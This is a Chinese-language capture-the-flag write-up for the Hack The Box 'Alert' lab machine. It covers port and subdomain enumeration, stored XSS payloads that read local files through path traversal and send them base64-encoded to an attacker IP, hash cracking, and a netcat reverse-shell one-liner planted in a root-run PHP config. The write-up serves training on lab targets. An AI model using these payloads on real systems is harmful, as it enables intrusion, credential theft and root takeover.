Linux渗透实战之不一样的XSS
字数 1075 2025-08-22 12:23:06
Linux渗透实战:通过XSS建立立足点并提权
靶机概述
本次实战的目标是HTB平台的Alert靶机,难度评级为Easy但实际接近中等难度。主要技术点包括:
- 通过XSS漏洞读取敏感文件
- 获取凭据后SSH登录
- 使用pspy监控进程发现提权路径
- 通过修改PHP配置文件获取root权限
信息收集阶段
端口扫描
使用nmap进行全端口扫描:
nmap -sT --min-rate 10000 -p- 10.10.11.44
发现开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
详细扫描:
nmap -sTVC -O -p22,80 10.10.11.44
结果:
- SSH服务:OpenSSH 8.2p1 Ubuntu
- HTTP服务:Apache httpd 2.4.41
- 网站标题:Alert - Markdown Viewer
- 请求的资源:index.php?page=alert
目录爆破
使用gobuster进行目录枚举:
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://alert.htb -x php,.txt
发现重要文件:
- messages.php
子域名爆破
使用ffuf进行子域名枚举:
ffuf -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://alert.htb' -H "Host:FUZZ.alert.htb" -fw 20
发现子域名:
- statistics.alert.htb(登录界面)
漏洞利用阶段
XSS漏洞发现
在Markdown提交界面测试XSS:
<script>alert('hello')</script>
确认存在XSS漏洞。
利用XSS读取文件
使用fetch API读取index.php:
<script>
window.onload = function() {
fetch("http://alert.htb/index.php")
.then(resp => resp.text())
.then(text => {
fetch(`http://10.10.16.41:8899/?text=${btoa(text)}`)
})
.catch(err => {
fetch(`http://10.10.16.41:8899/?err=${err}`)
})
}
</script>
成功读取后base64解码获取文件内容。
读取messages.php
尝试读取messages.php:
<script>
window.onload = function() {
fetch("http://alert.htb/messages.php")
.then(resp => resp.text())
.then(text => {
fetch(`http://10.10.16.41:8899/?text=${btoa(text)}`)
})
.catch(err => {
fetch(`http://10.10.16.41:8899/?err=${err}`)
})
}
</script>
发现messages.php接受file参数,尝试读取/etc/passwd:
<script>
window.onload = function() {
fetch("http://alert.htb/messages.php?file=etc/passwd")
.then(resp => resp.text())
.then(text => {
fetch(`http://10.10.16.41:8899/?text=${btoa(text)}`)
})
.catch(err => {
fetch(`http://10.10.16.41:8899/?err=${err}`)
})
}
</script>
发现用户:
- albert
- david
读取.htpasswd文件
尝试读取子域名的认证文件:
<script>
window.onload = function() {
fetch("http://alert.htb/messages.php?file=/var/www/statistics.alert.htb/.htpasswd")
.then(resp => resp.text())
.then(text => {
fetch(`http://10.10.16.41:8899/?text=${btoa(text)}`)
})
.catch(err => {
fetch(`http://10.10.16.41:8899/?err=${err}`)
})
}
</script>
使用John the Ripper破解哈希:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
获得凭据:
- 用户名:albert
- 密码:manchesterunited
权限提升阶段
SSH登录
使用获取的凭据登录:
ssh albert@alert.htb
发现内部服务
检查网络连接:
ss -tuln
发现8080端口运行着内部服务。
设置SSH端口转发:
ssh albert@alert.htb -L 0.0.0.0:8080:localhost:8080
访问后发现是监控界面。
使用pspy监控进程
下载pspy:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
./pspy64
发现root运行的进程:
CMD: UID=0 PID=32814 | /usr/bin/php -f /opt/website-monitor/config/configuration.php
提权利用
当前用户属于management组,可以修改配置文件。
创建PHP反弹shell:
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f |/bin/bash -i 2>&1 | nc 10.10.16.41 7878 >/tmp/f");
?>
写入到配置文件中:
echo '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f |/bin/bash -i 2>&1 | nc 10.10.16.41 7878 >/tmp/f");?>' > /opt/website-monitor/config/configuration.php
设置监听:
nc -lvnp 7878
等待root进程执行后获取root shell。
总结
本靶机渗透流程:
- 发现XSS漏洞
- 利用XSS读取敏感文件
- 获取.htpasswd并破解凭据
- SSH登录后使用pspy发现提权路径
- 通过修改PHP配置文件获取root权限
关键点:
- XSS不只是用于盗取cookie,还可以用于读取文件
- 子域名枚举是重要步骤
- pspy是Linux提权的重要工具
- 监控root运行的定时任务或进程是常见提权方法